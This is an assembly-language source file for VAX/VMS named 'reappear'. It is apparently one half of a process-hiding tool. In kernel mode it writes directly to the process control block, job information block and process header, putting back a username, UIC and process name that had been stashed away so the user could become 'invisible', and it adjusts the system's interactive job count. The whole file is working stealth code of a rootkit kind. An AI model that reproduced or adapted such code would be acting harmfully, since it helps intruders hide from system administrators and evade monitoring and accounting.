.title reappear ; ; This program is to go out into the system and make me ; invisible. ; .library /sys$library:lib/ ; ; global symbol definitions ; $PCBDEF $JIBDEF $PHDDEF ; spaces: .ascii / / ; .ENTRY reappear, ^M<> $cmkrnl_s routin=kernel_stuff ret ; ; This is the kernel mode routine that will go out into the system ; and in effect make me almost invisible. ; .entry kernel_stuff, ^M<> moval handler, (fp) movl Sch$Gl_CurPCB, r6 ;put address of current process ;PCB into r6 movl r6,r7 ;copy r6 into r7 holding PCB movl Pcb$L_Phd(r6), r8 ;move the address for the PHD ;into r8 cmpb #12,Phd$L_Spare(r8) ;check to see if we have ;disappeared bneq getout ;get out of here if not clrl r1 ;cleared for a counter loop1: cmpb #58, Pcb$T_Terminal(r7) ;start looking for a colon at beqlu gotit ;the end of the terminal name incl r7 ;increment PCB address to step aobleq #6,r1,loop1 ;along the terminal name gotit: movb r1,Pcb$T_Terminal(r6) ;either found the colon or ;reached the count of 7 which ;seems to be the max. length ;for a terminal name movl Pcb$L_Jib(r6), r7 ;move the address for the JIB ;into r7 incw Sys$Gw_Ijobcnt ;bump up the system interactive ;process count incl r8 ;bump up r8 to get at the ;username we stuffed into the ;PHD movc3 #12,Phd$L_Spare(r8),Jib$T_Username(r7) ;move the username from ;the PHD back into the JIB movc3 #12,spaces,Phd$L_Spare(r8) ;clear out the username from ;the PHD decl r8 ;lower r8 to clear out the ;count for the username or we ;run into trouble if we reappear ;and the count is there but no ;username clrb Phd$L_Spare(r8) ;clear out the count addl2 #13,r8 ;bump up r8 so we can get at the ;count for the length of the ;process name so we can move ;it back movb Phd$L_Spare(r8), Pcb$T_Lname(r6);move the count for the process ;name back into the right spot clrb Phd$L_Spare(r8) ;clear out the count for the ;process name we had in the PHD incl r8 ;move out into the PHD where we ;put the UIC movl Phd$L_Spare(r8), Pcb$L_Uic(r6) ;move the UIC back from the PHD ;into the PCB where it belongs clrl Phd$L_Spare(r8) ;clear out the UIC from the ;place we put it in the PHD movl #1, r0 getout: ret .entry handler,^m<> $exit_s r0 ret .end reappear